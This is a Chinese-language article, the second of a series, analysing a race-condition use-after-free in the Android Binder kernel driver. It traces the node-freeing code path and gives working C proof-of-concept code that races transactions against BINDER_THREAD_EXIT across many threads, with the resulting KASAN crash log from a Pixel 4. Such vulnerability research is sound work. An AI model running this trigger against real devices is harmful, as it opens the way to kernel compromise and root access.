深入分析Binder中的单指令竞态条件漏洞(二)

  在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。   (接上文)   到此为止,我们只考察了发送方线程这边的情况。现在,我们将解释接收端需要执行哪些操作...

  在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。

  (接上文)

  到此为止,我们只考察了发送方线程这边的情况。现在,我们将解释接收端需要执行哪些操作才能释放节点。

  实际上,负责释放节点的函数是binder_free_node。

  static void binder_free_node(struct binder_node *node)

  {

  kfree(node);

  binder_stats_deleted(BINDER_STAT_NODE);

  }

  这个函数在代码内多个不同的地方都有调用,但我们感兴趣的路径是当binder接收到BC_FREE_BUFFER事务命令时的那条。之所以选择该代码路径,是基于如下两个方面的考虑的。

  首先,并不是所有的进程都可以注册为binder服务的。尽管仍然有可能通过滥用ITokenManager服务来实现这一点,但我们选择使用已经注册的服务(例如servicemanager,gpuservice等)。

  第二个原因是,由于我们选择与现有服务进行通信,因此必须在其中一个中使用现有代码路径,这样我们才能释放节点。

  幸运的是,BC_FREE_BUFFER就是这种情况,binder服务在处理完事务后会使用BC_FREE_BUFFER进行清理。下面给出了一个带有servicemanager的示例。

  在binder_parse中,当响应事务时,服务管理器将调用binder_free_buffer(如果它是单向事务)或binder_send_reply。

  int binder_parse(struct binder_state *bs, struct binder_io *bio,

  uintptr_t ptr, size_t size, binder_handler func)

  {

  // [...]

  switch(cmd) {

  // [...]

  case BR_TRANSACTION_SEC_CTX:

  case BR_TRANSACTION: {

  // [...]

  if (func) {

  // [...]

  if (txn.transaction_data.flags & TF_ONE_WAY) {

  binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);

  } else {

  binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);

  }

  }

  break;

  }

  // [...]

  在这两种情况下,servicemanager都将返回BC_FREE_BUFFER。现在,我们开始介绍该命令是如何释放由发送线程创建的binder节点的。

  当目标服务用BC_FREE_BUFFER进行响应时,事务由binder_thread_write进行处理。执行流将流经BC_FREE_BUFFER分支,最后将调用binder_transaction_buffer_release:

  static int binder_thread_write(struct binder_proc *proc,

  struct binder_thread *thread,

  binder_uintptr_t binder_buffer, size_t size,

  binder_size_t *consumed)

  {

  // [...]

  case BC_FREE_BUFFER: {

  // [...]

  binder_transaction_buffer_release(proc, buffer, 0, false);

  // [...]

  }

  // [...]

  然后,bind_transaction_buffer_release函数将查看存储在缓冲区中的对象的类型,在本例中为BINDER_TYPE_WEAK_HANDLE或BINDER_TYPE_HANDLE(因为binder对象通过binder时会被转换为句柄),并开始释放它们。

  static void binder_transaction_buffer_release(struct binder_proc *proc,

  struct binder_buffer *buffer,

  binder_size_t failed_at,

  bool is_failure)

  {

  // [...]

  switch (hdr->type) {

  // [...]

  case BINDER_TYPE_HANDLE:

  case BINDER_TYPE_WEAK_HANDLE: {

  struct flat_binder_object *fp;

  struct binder_ref_data rdata;

  int ret;

  fp=to_flat_binder_object(hdr);

  ret=binder_dec_ref_for_handle(proc, fp->handle,

  hdr->type==BINDER_TYPE_HANDLE, &rdata);

  // [...]

  } break;

  // [...]

  然后,inder_transaction_buffer_release函数将调用binder_dec_ref_for_handle,后者是binder_update_ref_for_handle的封装器。

  binder_update_ref_for_handle将递减对句柄的引用,并通过binder_dec_ref_olocked递减对binder节点的引用。

  static int binder_update_ref_for_handle(struct binder_proc *proc,

  uint32_t desc, bool increment, bool strong,

  struct binder_ref_data *rdata)

  {

  // [...]

  if (increment)

  ret=binder_inc_ref_olocked(ref, strong, NULL);

  else

  delete_ref=binder_dec_ref_olocked(ref, strong);

  // [...]

  if (delete_ref)

  binder_free_ref(ref);

  return ret;

  // [...]

  }

  在调用binder_free_node之后,binder节点将被释放。

  static void binder_free_ref(struct binder_ref *ref)

  {

  if (ref->node)

  binder_free_node(ref->node);

  kfree(ref->death);

  kfree(ref);

  }

  在深入讨论该漏洞的利用过程之前,让我们先来简要介绍一下触发UAF漏洞所需的步骤。

  首先,我们需要一个处于用户控制之下的线程,将事务发送到系统控制的binder服务(例如servicemanager)。同时,发送方创建包含BINDER_TYPE_BINDER的事务,并将其发送到binder。然后,Binder创建与BINDER_TYPE_BINDER对象相对应的binder_node,并将其发送到ServiceManager。

  

  随后,发送方使用BINDER_THREAD_EXIT停止与binder的通信,这将启动清理过程,最终调用易受攻击的函数binder_release_work,该函数将binder节点从thread->todo中移除。

  

  最后,如果时机合适,接收者将在binder节点出列之后、使用之前,用BC_FREE_BUFFER释放binder节点来响应我们之前的事务。

  

  此时,通过一些喷射操作,可以用另一个对象替换binder节点,并控制binder_work结构体中的type字段来篡改binder的执行流程。

  static void binder_release_work(struct binder_proc *proc,

  struct list_head *list)

  {

  struct binder_work *w;

  while (1) {

  w=binder_dequeue_work_head(proc, list);

  if (!w)

  return;

  switch (w->type) {

  // [...]

  下一部分将在详细说明可用于在Pixel 4设备上获得root用户访问权限的详细利用过程之前,通过简单的概念证明来说明如何触发该漏洞。

  在尝试为该漏洞编写完整的exploit之前,让我们先来尝试触发在Pixel 4设备上运行的、启用KASAN功能的内核漏洞。这篇文章详细介绍了为Pixel设备构建KASAN内核的详细步骤。

  概念证明可以分为三个阶段:

  生成能够触发漏洞的事务

  将该事务和BINDER_THREAD_EXIT发送到binder

  使用多个线程更有效地触发静态条件

  首先,让我们看一下我们需要发送的事务。为此,至少需要一个BINDER_TYPE_BINDER或BINDER_TYPE_WEAK_BINDER对象。我们可以发送多个消息来触发该漏洞,因为thread->todo中的节点越多,执行给定事务的可能性就越大,也就有更多的机会来触发该漏洞。

  根据binder事务的格式,我们可以使用以下布局生成一个binder事务:

  

  下面的函数可用于创建一个如上所示的事务。

  static inline void init_binder_transaction(int nb) {

  for (int i=0; i < nb; i++) {

  struct flat_binder_object *fbo=

  (struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));

  fbo->hdr.type=BINDER_TYPE_BINDER;

  fbo->binder=i;

  fbo->cookie=i;

  uint64_t *offset=(uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));

  *offset=i * sizeof(*fbo);

  }

  struct binder_transaction_data btd2={

  .flags=TF_ONE_WAY,

  .data_size=0x28 * nb,

  .offsets_size=8 * nb,

  .data.ptr.buffer=MEM_ADDR + 0x400,

  .data.ptr.offsets=MEM_ADDR + OFFSETS_START,

  };

  uint64_t txn_size=sizeof(uint32_t) + sizeof(btd2);

  *(uint32_t*)(MEM_ADDR + 0x200)=BC_TRANSACTION;

  memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));

  struct binder_write_read bwr={

  .write_size=txn_size * (1), // 1 txno

  .write_buffer=MEM_ADDR + 0x200

  };

  memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));

  }

  下一步是打开与binder的通信通道,发送事务,并用BINDER_THREAD_EXIT关闭该通道:

  void *trigger_thread_func(void *argp) {

  unsigned long id=(unsigned long)argp;

  int ret=0;

  int binder_fd=-1;

  int binder_fd_copy=-1;

  // Opening binder device

  binder_fd=open("/dev/binder", O_RDWR);

  if (binder_fd < 0)

  perror("An error occured while opening binder");

  for (;;) {

  // Refill the memory region with the transaction

  init_binder_transaction(1);

  // Copying the binder fd

  binder_fd_copy=dup(binder_fd);

  // Sending the transaction

  ret=ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100);

  if (ret !=0)

  debug_printf("BINDER_WRITE_READ did not work: %d", ret);

  // Binder thread exit

  ret=ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);

  if (ret !=0)

  debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);

  // Closing binder device

  close(binder_fd_copy);

  }

  return NULL;

  }

  最后,让我们启动多个线程,以更快地触发该漏洞。

  int main() {

  pthread_t trigger_threads[NB_TRIGGER_THREADS];

  // Memory region for binder transactions

  mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,

  MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

  // Init random

  srand(time(0));

  // Get rid of stdout/stderr buffering

  setvbuf(stdout, NULL, _IONBF, 0);

  setvbuf(stderr, NULL, _IONBF, 0);

  // Starting trigger threads

  debug_print("Starting trigger threads");

  for (unsigned long i=0; i < NB_TRIGGER_THREADS; i++) {

  pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);

  }

  // Waiting for trigger threads

  for (int i=0; i < NB_TRIGGER_THREADS; i++)

  pthread_join(trigger_threads[i], NULL);

  return 0;

  }

  在启用KASAN的易受攻击内核上运行PoC后,如果成功触发了漏洞,那么一段时间后,dmesg中应该会出现以下消息:

  <3>[81169.367408] c6 20464==================================================================

  <3>[81169.367435] c6 20464 BUG: KASAN: use-after-free in binder_release_work+0x84/0x1b8

  <3>[81169.367469] c6 20464 Read of size 4 at addr ffffffc053e45850 by task poc/20464

  <3>[81169.367481] c6 20464

  <4>[81169.367498] c6 20464 CPU: 6 PID: 20464 Comm: poc Tainted: G S W 4.14.170-g551313822-dirty_audio-g199e9bf #1

  <4>[81169.367507] c6 20464 Hardware name: Qualcomm Technologies, Inc. SM8150 V2 PM8150 Google Inc. MSM sm8150 Flame (DT)

  <4>[81169.367514] c6 20464 Call trace:

  <4>[81169.367530] c6 20464 dump_backtrace+0x0/0x380

  <4>[81169.367541] c6 20464 show_stack+0x20/0x2c

  <4>[81169.367554] c6 20464 dump_stack+0xc4/0x11c

  <4>[81169.367576] c6 20464 print_address_description+0x70/0x240

  <4>[81169.367594] c6 20464 kasan_report_error+0x1a0/0x204

  <4>[81169.367605] c6 20464 kasan_report_error+0x0/0x204

  <4>[81169.367619] c6 20464 __asan_load4+0x80/0x84

  <4>[81169.367631] c6 20464 binder_release_work+0x84/0x1b8

  <4>[81169.367644] c6 20464 binder_thread_release+0x2ac/0x2e0

  <4>[81169.367655] c6 20464 binder_ioctl+0x9a4/0x122c

  <4>[81169.367680] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  <4>[81169.367693] c6 20464 SyS_ioctl+0x68/0xa0

  <4>[81169.367716] c6 20464 el0_svc_naked+0x34/0x38

  <3>[81169.367725] c6 20464

  <3>[81169.367734] c6 20464 Allocated by task 20464:

  <4>[81169.367747] c6 20464 kasan_kmalloc+0xe0/0x1ac

  <4>[81169.367761] c6 20464 kmem_cache_alloc_trace+0x3b8/0x454

  <4>[81169.367774] c6 20464 binder_new_node+0x4c/0x394

  <4>[81169.367802] c6 20464 binder_transaction+0x2398/0x4308

  <4>[81169.367816] c6 20464 binder_ioctl_write_read+0xc28/0x4dc8

  <4>[81169.367826] c6 20464 binder_ioctl+0x650/0x122c

  <4>[81169.367836] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  <4>[81169.367846] c6 20464 SyS_ioctl+0x68/0xa0

  <4>[81169.367862] c6 20464 el0_svc_naked+0x34/0x38

  <3>[81169.367868] c6 20464

  <4>[81169.367936] c7 20469 CPU7: update max cpu_capacity 989

  <3>[81169.368496] c6 20464 Freed by task 594:

  <4>[81169.368518] c6 20464 __kasan_slab_free+0x13c/0x21c

  <4>[81169.368534] c6 20464 kasan_slab_free+0x10/0x1c

  <4>[81169.368549] c6 20464 kfree+0x248/0x810

  <4>[81169.368564] c6 20464 binder_free_ref+0x30/0x64

  <4>[81169.368584] c6 20464 binder_update_ref_for_handle+0x294/0x2b0

  <4>[81169.368600] c6 20464 binder_transaction_buffer_release+0x46c/0x7a0

  <4>[81169.368616] c6 20464 binder_ioctl_write_read+0x21d0/0x4dc8

  <4>[81169.368653] c6 20464 binder_ioctl+0x650/0x122c

  <4>[81169.368667] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  <4>[81169.368684] c6 20464 SyS_ioctl+0x68/0xa0

  <4>[81169.368697] c6 20464 el0_svc_naked+0x34/0x38

  <3>[81169.368704] c6 20464

  <3>[81169.368735] c6 20464 The buggy address belongs to the object at ffffffc053e45800

  <3>[81169.368735] c6 20464 which belongs to the cache kmalloc-256 of size 256

  <3>[81169.368753] c6 20464 The buggy address is located 80 bytes inside of

  <3>[81169.368753] c6 20464 256-byte region [ffffffc053e45800, ffffffc053e45900)

  <3>[81169.368767] c6 20464 The buggy address belongs to the page:

  <0>[81169.368779] c6 20464 page:ffffffbf014f9100 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0

  <0>[81169.368804] c6 20464 flags: 0x10200(slab|head)

  <1>[81169.368824] c6 20464 raw: 0000000000010200 0000000000000000 0000000000000000 0000000100150015

  <1>[81169.368843] c6 20464 raw: ffffffbf04e39e00 0000000e00000002 ffffffc148c0fa00 0000000000000000

  <1>[81169.368867] c6 20464 page dumped because: kasan: bad access detected

  <3>[81169.368882] c6 20464

  <3>[81169.368894] c6 20464 Memory state around the buggy address:

  <3>[81169.368910] c6 20464 ffffffc053e45700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  <3>[81169.368955] c6 20464 ffffffc053e45780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

  <3>[81169.368984] c6 20464 >ffffffc053e45800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  <3>[81169.368997] c6 20464 ^

  <3>[81169.369012] c6 20464 ffffffc053e45880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  <3>[81169.369037] c6 20464 ffffffc053e45900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

  <3>[81169.369049] c6 20464==================================================================

  在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

  (未完待续)

  • 发表于 2021-04-04 10:02
  • 阅读 ( 166 )
  • 分类:互联网

0 条评论

请先 登录 后评论
疯了的年华
疯了的年华

702 篇文章

你可能感兴趣的文章

相关问题